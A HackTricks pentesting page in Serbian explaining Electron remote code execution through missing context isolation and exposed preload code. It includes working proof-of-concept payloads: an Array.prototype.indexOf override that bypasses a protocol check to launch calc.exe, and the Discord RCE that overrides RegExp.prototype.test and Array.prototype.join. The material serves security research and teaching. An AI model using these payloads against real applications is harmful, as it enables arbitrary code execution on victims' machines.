hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

5.8 KiB

Electron contextIsolation RCE via preload code

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Primer 1

Primer sa https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Ovaj kod otvara http(s) linkove sa podrazumevanim pregledačem:

Nešto poput file:///C:/Windows/systemd32/calc.exe može se koristiti za izvršavanje kalkulatora, SAFE_PROTOCOLS.indexOf to sprečava.

Stoga, napadač bi mogao da ubaci ovaj JS kod putem XSS-a ili proizvoljne navigacije stranice:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Kako će poziv SAFE_PROTOCOLS.indexOf uvek vratiti 1337, napadač može zaobići zaštitu i izvršiti kalkulator. Konačan eksploatacioni kod:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Proverite originalne slajdove za druge načine izvršavanja programa bez traženja dozvola.

Navodno, još jedan način učitavanja i izvršavanja koda je pristup nečemu poput file://127.0.0.1/electron/rce.jar

Primer 2: Discord aplikacija RCE

Primer sa https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Prilikom provere preload skripti, otkrio sam da Discord izlaže funkciju, koja omogućava pozivanje određenih dozvoljenih modula putem DiscordNative.nativeModules.requireModule('IME-MODULA'), na veb stranici.
Ovde nisam mogao koristiti module koji se mogu direktno koristiti za RCE, poput modula child_process, ali pronašao sam kod gde se RCE može postići preusmeravanjem ugrađenih JavaScript metoda i mešanjem u izvršavanje izloženog modula.

Sledeći je PoC. Potvrdio sam da se aplikacija calc pojavljuje kada pozovem funkciju getGPUDriverVersions koja je definisana u modulu nazvanom "discord_utils" iz devTools-a, dok preusmeravam RegExp.prototype.test i Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Funkcija getGPUDriverVersions pokušava da izvrši program koristeći "execa" biblioteku, kao u sledećem:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Obično execa pokušava da izvrši "nvidia-smi.exe", koji je naveden u promenljivoj nvidiaSmiPath, međutim, zbog prekoračenih RegExp.prototype.test i Array.prototype.join, argument je zamenjen sa "calc" u internom procesiranju _execa_**.

Konkretno, argument je zamenjen promenom sledećih dva dela.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: